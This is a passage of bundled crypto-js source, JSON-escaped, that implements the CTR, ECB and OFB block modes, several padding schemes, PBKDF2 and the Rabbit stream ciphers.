=== 0xff) // overflow b1\n\t\t\t{\n\t\t\tb1 = 0;\n\t\t\tif (b2 === 0xff)\n\t\t\t{\n\t\t\t\tb2 = 0;\n\t\t\t\tif (b3 === 0xff)\n\t\t\t\t{\n\t\t\t\t\tb3 = 0;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t++b3;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t++b2;\n\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t++b1;\n\t\t\t}\n\n\t\t\tword = 0;\n\t\t\tword += (b1 << 16);\n\t\t\tword += (b2 << 8);\n\t\t\tword += b3;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\tword += (0x01 << 24);\n\t\t\t}\n\t\t\treturn word;\n\t\t}\n\n\t\tfunction incCounter(counter)\n\t\t{\n\t\t\tif ((counter[0] = incWord(counter[0])) === 0)\n\t\t\t{\n\t\t\t\t// encr_data in fileenc.c from Dr Brian Gladman's counts only with DWORD j < 8\n\t\t\t\tcounter[1] = incWord(counter[1]);\n\t\t\t}\n\t\t\treturn counter;\n\t\t}\n\n\t var Encryptor = CTRGladman.Encryptor = CTRGladman.extend({\n\t processBlock: function (words, offset) {\n\t // Shortcuts\n\t var cipher = this._cipher\n\t var blockSize = cipher.blockSize;\n\t var iv = this._iv;\n\t var counter = this._counter;\n\n\t // Generate keystream\n\t if (iv) {\n\t counter = this._counter = iv.slice(0);\n\n\t // Remove IV for subsequent blocks\n\t this._iv = undefined;\n\t }\n\n\t\t\t\tincCounter(counter);\n\n\t\t\t\tvar keystream = counter.slice(0);\n\t cipher.encryptBlock(keystream, 0);\n\n\t // Encrypt\n\t for (var i = 0; i < blockSize; i++) {\n\t words[offset + i] ^= keystream[i];\n\t }\n\t }\n\t });\n\n\t CTRGladman.Decryptor = Encryptor;\n\n\t return CTRGladman;\n\t}());\n\n\n\n\n\treturn CryptoJS.mode.CTRGladman;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./cipher-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./cipher-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t/**\n\t * Counter block mode.\n\t */\n\tCryptoJS.mode.CTR = (function () {\n\t var CTR = CryptoJS.lib.BlockCipherMode.extend();\n\n\t var Encryptor = CTR.Encryptor = CTR.extend({\n\t processBlock: function (words, offset) {\n\t // Shortcuts\n\t var cipher = this._cipher\n\t var blockSize = cipher.blockSize;\n\t var iv = this._iv;\n\t var counter = this._counter;\n\n\t // Generate keystream\n\t if (iv) {\n\t counter = this._counter = iv.slice(0);\n\n\t // Remove IV for subsequent blocks\n\t this._iv = undefined;\n\t }\n\t var keystream = counter.slice(0);\n\t cipher.encryptBlock(keystream, 0);\n\n\t // Increment counter\n\t counter[blockSize - 1] = (counter[blockSize - 1] + 1) | 0\n\n\t // Encrypt\n\t for (var i = 0; i < blockSize; i++) {\n\t words[offset + i] ^= keystream[i];\n\t }\n\t }\n\t });\n\n\t CTR.Decryptor = Encryptor;\n\n\t return CTR;\n\t}());\n\n\n\treturn CryptoJS.mode.CTR;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./cipher-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./cipher-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t/**\n\t * Electronic Codebook block mode.\n\t */\n\tCryptoJS.mode.ECB = (function () {\n\t var ECB = CryptoJS.lib.BlockCipherMode.extend();\n\n\t ECB.Encryptor = ECB.extend({\n\t processBlock: function (words, offset) {\n\t this._cipher.encryptBlock(words, offset);\n\t }\n\t });\n\n\t ECB.Decryptor = ECB.extend({\n\t processBlock: function (words, offset) {\n\t this._cipher.decryptBlock(words, offset);\n\t }\n\t });\n\n\t return ECB;\n\t}());\n\n\n\treturn CryptoJS.mode.ECB;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./cipher-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./cipher-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t/**\n\t * Output Feedback block mode.\n\t */\n\tCryptoJS.mode.OFB = (function () {\n\t var OFB = CryptoJS.lib.BlockCipherMode.extend();\n\n\t var Encryptor = OFB.Encryptor = OFB.extend({\n\t processBlock: function (words, offset) {\n\t // Shortcuts\n\t var cipher = this._cipher\n\t var blockSize = cipher.blockSize;\n\t var iv = this._iv;\n\t var keystream = this._keystream;\n\n\t // Generate keystream\n\t if (iv) {\n\t keystream = this._keystream = iv.slice(0);\n\n\t // Remove IV for subsequent blocks\n\t this._iv = undefined;\n\t }\n\t cipher.encryptBlock(keystream, 0);\n\n\t // Encrypt\n\t for (var i = 0; i < blockSize; i++) {\n\t words[offset + i] ^= keystream[i];\n\t }\n\t }\n\t });\n\n\t OFB.Decryptor = Encryptor;\n\n\t return OFB;\n\t}());\n\n\n\treturn CryptoJS.mode.OFB;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./cipher-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./cipher-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t/**\n\t * ANSI X.923 padding strategy.\n\t */\n\tCryptoJS.pad.AnsiX923 = {\n\t pad: function (data, blockSize) {\n\t // Shortcuts\n\t var dataSigBytes = data.sigBytes;\n\t var blockSizeBytes = blockSize * 4;\n\n\t // Count padding bytes\n\t var nPaddingBytes = blockSizeBytes - dataSigBytes % blockSizeBytes;\n\n\t // Compute last byte position\n\t var lastBytePos = dataSigBytes + nPaddingBytes - 1;\n\n\t // Pad\n\t data.clamp();\n\t data.words[lastBytePos >>> 2] |= nPaddingBytes << (24 - (lastBytePos % 4) * 8);\n\t data.sigBytes += nPaddingBytes;\n\t },\n\n\t unpad: function (data) {\n\t // Get number of padding bytes from last byte\n\t var nPaddingBytes = data.words[(data.sigBytes - 1) >>> 2] & 0xff;\n\n\t // Remove padding\n\t data.sigBytes -= nPaddingBytes;\n\t }\n\t};\n\n\n\treturn CryptoJS.pad.Ansix923;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./cipher-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./cipher-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t/**\n\t * ISO 10126 padding strategy.\n\t */\n\tCryptoJS.pad.Iso10126 = {\n\t pad: function (data, blockSize) {\n\t // Shortcut\n\t var blockSizeBytes = blockSize * 4;\n\n\t // Count padding bytes\n\t var nPaddingBytes = blockSizeBytes - data.sigBytes % blockSizeBytes;\n\n\t // Pad\n\t data.concat(CryptoJS.lib.WordArray.random(nPaddingBytes - 1)).\n\t concat(CryptoJS.lib.WordArray.create([nPaddingBytes << 24], 1));\n\t },\n\n\t unpad: function (data) {\n\t // Get number of padding bytes from last byte\n\t var nPaddingBytes = data.words[(data.sigBytes - 1) >>> 2] & 0xff;\n\n\t // Remove padding\n\t data.sigBytes -= nPaddingBytes;\n\t }\n\t};\n\n\n\treturn CryptoJS.pad.Iso10126;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./cipher-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./cipher-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t/**\n\t * ISO/IEC 9797-1 Padding Method 2.\n\t */\n\tCryptoJS.pad.Iso97971 = {\n\t pad: function (data, blockSize) {\n\t // Add 0x80 byte\n\t data.concat(CryptoJS.lib.WordArray.create([0x80000000], 1));\n\n\t // Zero pad the rest\n\t CryptoJS.pad.ZeroPadding.pad(data, blockSize);\n\t },\n\n\t unpad: function (data) {\n\t // Remove zero padding\n\t CryptoJS.pad.ZeroPadding.unpad(data);\n\n\t // Remove one more byte -- the 0x80 byte\n\t data.sigBytes--;\n\t }\n\t};\n\n\n\treturn CryptoJS.pad.Iso97971;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./cipher-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./cipher-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t/**\n\t * A noop padding strategy.\n\t */\n\tCryptoJS.pad.NoPadding = {\n\t pad: function () {\n\t },\n\n\t unpad: function () {\n\t }\n\t};\n\n\n\treturn CryptoJS.pad.NoPadding;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./cipher-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./cipher-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t/**\n\t * Zero padding strategy.\n\t */\n\tCryptoJS.pad.ZeroPadding = {\n\t pad: function (data, blockSize) {\n\t // Shortcut\n\t var blockSizeBytes = blockSize * 4;\n\n\t // Pad\n\t data.clamp();\n\t data.sigBytes += blockSizeBytes - ((data.sigBytes % blockSizeBytes) || blockSizeBytes);\n\t },\n\n\t unpad: function (data) {\n\t // Shortcut\n\t var dataWords = data.words;\n\n\t // Unpad\n\t var i = data.sigBytes - 1;\n\t for (var i = data.sigBytes - 1; i >= 0; i--) {\n\t if (((dataWords[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff)) {\n\t data.sigBytes = i + 1;\n\t break;\n\t }\n\t }\n\t }\n\t};\n\n\n\treturn CryptoJS.pad.ZeroPadding;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./sha1\"), require(\"./hmac\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./sha1\", \"./hmac\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function () {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var Base = C_lib.Base;\n\t var WordArray = C_lib.WordArray;\n\t var C_algo = C.algo;\n\t var SHA1 = C_algo.SHA1;\n\t var HMAC = C_algo.HMAC;\n\n\t /**\n\t * Password-Based Key Derivation Function 2 algorithm.\n\t */\n\t var PBKDF2 = C_algo.PBKDF2 = Base.extend({\n\t /**\n\t * Configuration options.\n\t *\n\t * @property {number} keySize The key size in words to generate. Default: 4 (128 bits)\n\t * @property {Hasher} hasher The hasher to use. Default: SHA1\n\t * @property {number} iterations The number of iterations to perform. Default: 1\n\t */\n\t cfg: Base.extend({\n\t keySize: 128/32,\n\t hasher: SHA1,\n\t iterations: 1\n\t }),\n\n\t /**\n\t * Initializes a newly created key derivation function.\n\t *\n\t * @param {Object} cfg (Optional) The configuration options to use for the derivation.\n\t *\n\t * @example\n\t *\n\t * var kdf = CryptoJS.algo.PBKDF2.create();\n\t * var kdf = CryptoJS.algo.PBKDF2.create({ keySize: 8 });\n\t * var kdf = CryptoJS.algo.PBKDF2.create({ keySize: 8, iterations: 1000 });\n\t */\n\t init: function (cfg) {\n\t this.cfg = this.cfg.extend(cfg);\n\t },\n\n\t /**\n\t * Computes the Password-Based Key Derivation Function 2.\n\t *\n\t * @param {WordArray|string} password The password.\n\t * @param {WordArray|string} salt A salt.\n\t *\n\t * @return {WordArray} The derived key.\n\t *\n\t * @example\n\t *\n\t * var key = kdf.compute(password, salt);\n\t */\n\t compute: function (password, salt) {\n\t // Shortcut\n\t var cfg = this.cfg;\n\n\t // Init HMAC\n\t var hmac = HMAC.create(cfg.hasher, password);\n\n\t // Initial values\n\t var derivedKey = WordArray.create();\n\t var blockIndex = WordArray.create([0x00000001]);\n\n\t // Shortcuts\n\t var derivedKeyWords = derivedKey.words;\n\t var blockIndexWords = blockIndex.words;\n\t var keySize = cfg.keySize;\n\t var iterations = cfg.iterations;\n\n\t // Generate key\n\t while (derivedKeyWords.length < keySize) {\n\t var block = hmac.update(salt).finalize(blockIndex);\n\t hmac.reset();\n\n\t // Shortcuts\n\t var blockWords = block.words;\n\t var blockWordsLength = blockWords.length;\n\n\t // Iterations\n\t var intermediate = block;\n\t for (var i = 1; i < iterations; i++) {\n\t intermediate = hmac.finalize(intermediate);\n\t hmac.reset();\n\n\t // Shortcut\n\t var intermediateWords = intermediate.words;\n\n\t // XOR intermediate with block\n\t for (var j = 0; j < blockWordsLength; j++) {\n\t blockWords[j] ^= intermediateWords[j];\n\t }\n\t }\n\n\t derivedKey.concat(block);\n\t blockIndexWords[0]++;\n\t }\n\t derivedKey.sigBytes = keySize * 4;\n\n\t return derivedKey;\n\t }\n\t });\n\n\t /**\n\t * Computes the Password-Based Key Derivation Function 2.\n\t *\n\t * @param {WordArray|string} password The password.\n\t * @param {WordArray|string} salt A salt.\n\t * @param {Object} cfg (Optional) The configuration options to use for this computation.\n\t *\n\t * @return {WordArray} The derived key.\n\t *\n\t * @static\n\t *\n\t * @example\n\t *\n\t * var key = CryptoJS.PBKDF2(password, salt);\n\t * var key = CryptoJS.PBKDF2(password, salt, { keySize: 8 });\n\t * var key = CryptoJS.PBKDF2(password, salt, { keySize: 8, iterations: 1000 });\n\t */\n\t C.PBKDF2 = function (password, salt, cfg) {\n\t return PBKDF2.create(cfg).compute(password, salt);\n\t };\n\t}());\n\n\n\treturn CryptoJS.PBKDF2;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./enc-base64\"), require(\"./md5\"), require(\"./evpkdf\"), require(\"./cipher-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./enc-base64\", \"./md5\", \"./evpkdf\", \"./cipher-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function () {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var StreamCipher = C_lib.StreamCipher;\n\t var C_algo = C.algo;\n\n\t // Reusable objects\n\t var S = [];\n\t var C_ = [];\n\t var G = [];\n\n\t /**\n\t * Rabbit stream cipher algorithm.\n\t *\n\t * This is a legacy version that neglected to convert the key to little-endian.\n\t * This error doesn't affect the cipher's security,\n\t * but it does affect its compatibility with other implementations.\n\t */\n\t var RabbitLegacy = C_algo.RabbitLegacy = StreamCipher.extend({\n\t _doReset: function () {\n\t // Shortcuts\n\t var K = this._key.words;\n\t var iv = this.cfg.iv;\n\n\t // Generate initial state values\n\t var X = this._X = [\n\t K[0], (K[3] << 16) | (K[2] >>> 16),\n\t K[1], (K[0] << 16) | (K[3] >>> 16),\n\t K[2], (K[1] << 16) | (K[0] >>> 16),\n\t K[3], (K[2] << 16) | (K[1] >>> 16)\n\t ];\n\n\t // Generate initial counter values\n\t var C = this._C = [\n\t (K[2] << 16) | (K[2] >>> 16), (K[0] & 0xffff0000) | (K[1] & 0x0000ffff),\n\t (K[3] << 16) | (K[3] >>> 16), (K[1] & 0xffff0000) | (K[2] & 0x0000ffff),\n\t (K[0] << 16) | (K[0] >>> 16), (K[2] & 0xffff0000) | (K[3] & 0x0000ffff),\n\t (K[1] << 16) | (K[1] >>> 16), (K[3] & 0xffff0000) | (K[0] & 0x0000ffff)\n\t ];\n\n\t // Carry bit\n\t this._b = 0;\n\n\t // Iterate the system four times\n\t for (var i = 0; i < 4; i++) {\n\t nextState.call(this);\n\t }\n\n\t // Modify the counters\n\t for (var i = 0; i < 8; i++) {\n\t C[i] ^= X[(i + 4) & 7];\n\t }\n\n\t // IV setup\n\t if (iv) {\n\t // Shortcuts\n\t var IV = iv.words;\n\t var IV_0 = IV[0];\n\t var IV_1 = IV[1];\n\n\t // Generate four subvectors\n\t var i0 = (((IV_0 << 8) | (IV_0 >>> 24)) & 0x00ff00ff) | (((IV_0 << 24) | (IV_0 >>> 8)) & 0xff00ff00);\n\t var i2 = (((IV_1 << 8) | (IV_1 >>> 24)) & 0x00ff00ff) | (((IV_1 << 24) | (IV_1 >>> 8)) & 0xff00ff00);\n\t var i1 = (i0 >>> 16) | (i2 & 0xffff0000);\n\t var i3 = (i2 << 16) | (i0 & 0x0000ffff);\n\n\t // Modify counter values\n\t C[0] ^= i0;\n\t C[1] ^= i1;\n\t C[2] ^= i2;\n\t C[3] ^= i3;\n\t C[4] ^= i0;\n\t C[5] ^= i1;\n\t C[6] ^= i2;\n\t C[7] ^= i3;\n\n\t // Iterate the system four times\n\t for (var i = 0; i < 4; i++) {\n\t nextState.call(this);\n\t }\n\t }\n\t },\n\n\t _doProcessBlock: function (M, offset) {\n\t // Shortcut\n\t var X = this._X;\n\n\t // Iterate the system\n\t nextState.call(this);\n\n\t // Generate four keystream words\n\t S[0] = X[0] ^ (X[5] >>> 16) ^ (X[3] << 16);\n\t S[1] = X[2] ^ (X[7] >>> 16) ^ (X[5] << 16);\n\t S[2] = X[4] ^ (X[1] >>> 16) ^ (X[7] << 16);\n\t S[3] = X[6] ^ (X[3] >>> 16) ^ (X[1] << 16);\n\n\t for (var i = 0; i < 4; i++) {\n\t // Swap endian\n\t S[i] = (((S[i] << 8) | (S[i] >>> 24)) & 0x00ff00ff) |\n\t (((S[i] << 24) | (S[i] >>> 8)) & 0xff00ff00);\n\n\t // Encrypt\n\t M[offset + i] ^= S[i];\n\t }\n\t },\n\n\t blockSize: 128/32,\n\n\t ivSize: 64/32\n\t });\n\n\t function nextState() {\n\t // Shortcuts\n\t var X = this._X;\n\t var C = this._C;\n\n\t // Save old counter values\n\t for (var i = 0; i < 8; i++) {\n\t C_[i] = C[i];\n\t }\n\n\t // Calculate new counter values\n\t C[0] = (C[0] + 0x4d34d34d + this._b) | 0;\n\t C[1] = (C[1] + 0xd34d34d3 + ((C[0] >>> 0) < (C_[0] >>> 0) ? 1 : 0)) | 0;\n\t C[2] = (C[2] + 0x34d34d34 + ((C[1] >>> 0) < (C_[1] >>> 0) ? 1 : 0)) | 0;\n\t C[3] = (C[3] + 0x4d34d34d + ((C[2] >>> 0) < (C_[2] >>> 0) ? 1 : 0)) | 0;\n\t C[4] = (C[4] + 0xd34d34d3 + ((C[3] >>> 0) < (C_[3] >>> 0) ? 1 : 0)) | 0;\n\t C[5] = (C[5] + 0x34d34d34 + ((C[4] >>> 0) < (C_[4] >>> 0) ? 1 : 0)) | 0;\n\t C[6] = (C[6] + 0x4d34d34d + ((C[5] >>> 0) < (C_[5] >>> 0) ? 1 : 0)) | 0;\n\t C[7] = (C[7] + 0xd34d34d3 + ((C[6] >>> 0) < (C_[6] >>> 0) ? 1 : 0)) | 0;\n\t this._b = (C[7] >>> 0) < (C_[7] >>> 0) ? 1 : 0;\n\n\t // Calculate the g-values\n\t for (var i = 0; i < 8; i++) {\n\t var gx = X[i] + C[i];\n\n\t // Construct high and low argument for squaring\n\t var ga = gx & 0xffff;\n\t var gb = gx >>> 16;\n\n\t // Calculate high and low result of squaring\n\t var gh = ((((ga * ga) >>> 17) + ga * gb) >>> 15) + gb * gb;\n\t var gl = (((gx & 0xffff0000) * gx) | 0) + (((gx & 0x0000ffff) * gx) | 0);\n\n\t // High XOR low\n\t G[i] = gh ^ gl;\n\t }\n\n\t // Calculate new state values\n\t X[0] = (G[0] + ((G[7] << 16) | (G[7] >>> 16)) + ((G[6] << 16) | (G[6] >>> 16))) | 0;\n\t X[1] = (G[1] + ((G[0] << 8) | (G[0] >>> 24)) + G[7]) | 0;\n\t X[2] = (G[2] + ((G[1] << 16) | (G[1] >>> 16)) + ((G[0] << 16) | (G[0] >>> 16))) | 0;\n\t X[3] = (G[3] + ((G[2] << 8) | (G[2] >>> 24)) + G[1]) | 0;\n\t X[4] = (G[4] + ((G[3] << 16) | (G[3] >>> 16)) + ((G[2] << 16) | (G[2] >>> 16))) | 0;\n\t X[5] = (G[5] + ((G[4] << 8) | (G[4] >>> 24)) + G[3]) | 0;\n\t X[6] = (G[6] + ((G[5] << 16) | (G[5] >>> 16)) + ((G[4] << 16) | (G[4] >>> 16))) | 0;\n\t X[7] = (G[7] + ((G[6] << 8) | (G[6] >>> 24)) + G[5]) | 0;\n\t }\n\n\t /**\n\t * Shortcut functions to the cipher's object interface.\n\t *\n\t * @example\n\t *\n\t * var ciphertext = CryptoJS.RabbitLegacy.encrypt(message, key, cfg);\n\t * var plaintext = CryptoJS.RabbitLegacy.decrypt(ciphertext, key, cfg);\n\t */\n\t C.RabbitLegacy = StreamCipher._createHelper(RabbitLegacy);\n\t}());\n\n\n\treturn CryptoJS.RabbitLegacy;\n\n}));",";(function (root, factory, undef) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory(require(\"./core\"), require(\"./enc-base64\"), require(\"./md5\"), require(\"./evpkdf\"), require(\"./cipher-core\"));\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([\"./core\", \"./enc-base64\", \"./md5\", \"./evpkdf\", \"./cipher-core\"], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\tfactory(root.CryptoJS);\n\t}\n}(this, function (CryptoJS) {\n\n\t(function () {\n\t // Shortcuts\n\t var C = CryptoJS;\n\t var C_lib = C.lib;\n\t var StreamCipher = C_lib.StreamCipher;\n\t var C_algo = C.algo;\n\n\t // Reusable objects\n\t var S = [];\n\t var C_ = [];\n\t var G = [];\n\n\t /**\n\t * Rabbit stream cipher algorithm\n\t */\n\t var Rabbit = C_algo.Rabbit = StreamCipher.extend({\n\t _doReset: function () {\n\t // Shortcuts\n\t var K = this._key.words;\n\t var iv = this.cfg.iv;\n\n\t // Swap endian\n\t for (var i = 0; i < 4; i++) {\n\t K[i] = (((K[i] << 8) | (K[i] >>> 24)) & 0x00ff00ff) |\n\t (((K[i] << 24) | (K[i] >>> 8)) & 0xff00ff00);\n\t }\n\n\t // Generate initial state values\n\t var X = this._X = [\n\t K[0], (K[3] << 16) | (K[2] >>> 16),\n\t K[1], (K[0] << 16) | (K[3] >>> 16),\n\t K[2], (K[1] << 16) | (K[0] >>> 16),\n\t K[3], (K[2] << 16) | (K[1] >>> 16)\n\t ];\n\n\t // Generate initial counter values\n\t var C = this._C = [\n\t (K[2] << 16) | (K[2] >>> 16), (K[0] & 0xffff0000) | (K[1] & 0x0000ffff),\n\t (K[3] << 16) | (K[3] >>> 16), (K[1] & 0xffff0000) | (K[2] & 0x0000ffff),\n\t (K[0] << 16) | (K[0] >>> 16), (K[2] & 0xffff0000) | (K[3] & 0x0000ffff),\n\t (K[1] << 16) | (K[1] >>> 16), (K[3] & 0xffff0000) | (K[0] & 0x0000ffff)\n\t ];\n\n\t // Carry bit\n\t this._b = 0;\n\n\t // Iterate the system four times\n\t for (var i = 0; i < 4; i++) {\n\t nextState.call(this);\n\t }\n\n\t // Modify the counters\n\t for (var i = 0; i < 8; i++) {\n\t C[i] ^= X[(i + 4) & 7];\n\t }\n\n\t // IV setup\n\t if (iv) {\n\t // Shortcuts\n\t var IV = iv.words;\n\t var IV_0 = IV[0];\n\t var IV_1 = IV[1];\n\n\t // Generate four subvectors\n\t var i0 = (((IV_0 << 8) | (IV_0 >>> 24)) & 0x00ff00ff) | (((IV_0 << 24) | (IV_0 >>> 8)) & 0xff00ff00);\n\t var i2 = (((IV_1 << 8) | (IV_1 >>> 24)) & 0x00ff00ff) | (((IV_1 << 24) | (IV_1 >>> 8)) & 0xff00ff00);\n\t var i1 = (i0 >>> 16) | (i2 & 0xffff0000);\n\t var i3 = (i2 << 16) | (i0 & 0x0000ffff);\n\n\t // Modify counter values\n\t C[0] ^= i0;\n\t C[1] ^= i1;\n\t C[2] ^= i2;\n\t C[3] ^= i3;\n\t C[4] ^= i0;\n\t C[5] ^= i1;\n\t C[6] ^= i2;\n\t C[7] ^= i3;\n\n\t // Iterate the system four times\n\t for (var i = 0; i < 4; i++) {\n\t nextState.call(this);\n\t }\n\t }\n\t },\n\n\t _doProcessBlock: function (M, offset) {\n\t // Shortcut\n\t var X = this._X;\n\n\t // Iterate the system\n\t nextState.call(this);\n\n\t // Generate four keystream words\n\t S[0] = X[0] ^ (X[5] >>> 16) ^ (X[3] << 16);\n\t S[1] = X[2] ^ (X[7] >>> 16) ^ (X[5] << 16);\n\t S[2] = X[4] ^ (X[1] >>> 16) ^ (X[7] << 16);\n\t S[3] = X[6] ^ (X[3] >>> 16) ^ (X[1] << 16);\n\n\t for (var i = 0; i < 4; i++) {\n\t // Swap endian\n\t S[i] = (((S[i] << 8) | (S[i] >>> 24)) & 0x00ff00ff) |\n\t (((S[i] << 24) | (S[i] >>> 8)) & 0xff00ff00);\n\n\t // Encrypt\n\t M[offset + i] ^= S[i];\n\t }\n\t },\n\n\t blockSize: 128/32,\n\n\t ivSize: 64/32\n\t });\n\n\t function nextState() {\n\t // Shortcuts\n\t var X = this._X;\n\t var C = this._C;\n\n\t // Save old counter values\n\t for (var i = 0; i < 8; i++) {\n\t C_[i] = C[i];\n\t }\n\n\t // Calculate new counter values\n\t C[0] = (C[0] + 0x4d34d34d + this._b) | 0;\n\t C[1] = (C[1] + 0xd34d34d3 + ((C[0] >>> 0) < (C_[0] >>> 0) ? 1 : 0)) | 0;\n\t C[2] = (C[2] + 0x34d34d34 + ((C[1] >>> 0) < (C_[1] >>> 0) ? 1 : 0)) | 0;\n\t C[3] = (C[3] + 0x4d34d34d + ((C[2] >>> 0) < (C_[2] >>> 0) ? 1 : 0)) | 0;\n\t C[4] = (C[4] + 0xd34d34d3 + ((C[3] >>> 0) < (C_[3] >>> 0) ? 1 : 0)) | 0;\n\t C[5] = (C[5] + 0x34d34d34 + ((C[4] >>> 0) < (C_[4] >>> 0) ? 1 : 0)) | 0;\n\t C[6] = (C[6] + 0x4d34d34d + ((C[5] >>> 0) < (C_[5] >>> 0) ? 1 : 0)) | 0;\n\t C[7] = (C[7] + 0xd34d34d3 + ((C[6] >>> 0) < (C_[6] >>> 0) ? 1 : 0)) | 0;\n\t this._b = (C[7] >>> 0) < (C_[7] >>> 0) ? 1 : 0;\n\n\t // Calculate the g-values\n\t for (var i = 0; i < 8; i++) {\n\t var gx = X[i] + C[i];\n\n\t // Construct high and low argument for squaring\n\t var ga = gx & 0xffff;\n\t var gb = gx >>> 16;\n\n\t // Calculate high and low result of squaring\n\t var gh = ((((ga * ga) >>> 17) + ga * gb) >>> 15) + gb * gb;\n\t var gl = (((gx & 0xffff0000) * gx) | 0) + (((gx & 0x0000ffff) * gx) | 0);\n\n\t // High XOR low\n\t G[i] = gh ^ gl;\n\t }\n\n\t // Calculate new state values\n\t X[0] = (G[0] + ((G[7] << 16) | (G[7] >>> 16)) + ((G[6] << 16) | (G[6] >>> 16))) | 0;\n\t X[1] = (G[1] + ((G[0] << 8) | (G[0] >>> 24)) + G[7]) | 0;\n\t X[2] = (G[2] + ((G[1] << 16) | (G[1] >>> 16)) + ((G[0] << 16) | (G[0] >>> 16))) | 0;\n\t X[3] = (G[3] + ((G[2] << 8) | (G[2] >>> 24)) + G[1]) | 0;\n\t X[4] = (G[4] + ((G[3] << 16) | (G[3] >>> 16)) + ((G[2] << 16) | (G[2] >>> 16))) | 0;\n\t X[5] = (G[5] + ((G[4] << 8) | (G[4] >>> 24)) + G[3]) | 0;\n\t X[6] = (G[6] + ((G[5] << 16) | (G[5] >>> 16)) + ((G[4] << 16) | (G[4] >>> 16))) | 0;\n\t X[7] = (G[7] + ((G[6] << 8) | (G[6] >>> 24)) + G[5]) | 0;\n\t }\n\n\t /**\n\t * Shortcut functions to the cipher's object interface.\n\t *\n\t * @example\n\t *\n\t * var ciphertext = CryptoJS.Rabbit.encrypt(message, key, cfg);\n\t * var plaintext = CryptoJS.Rabbit.decrypt(ciphertext, key, cfg);\n\t */\n\t C.Rabbit = StreamCipher._createHelper(Rabbit);\n\t}());\n\n\n\treturn 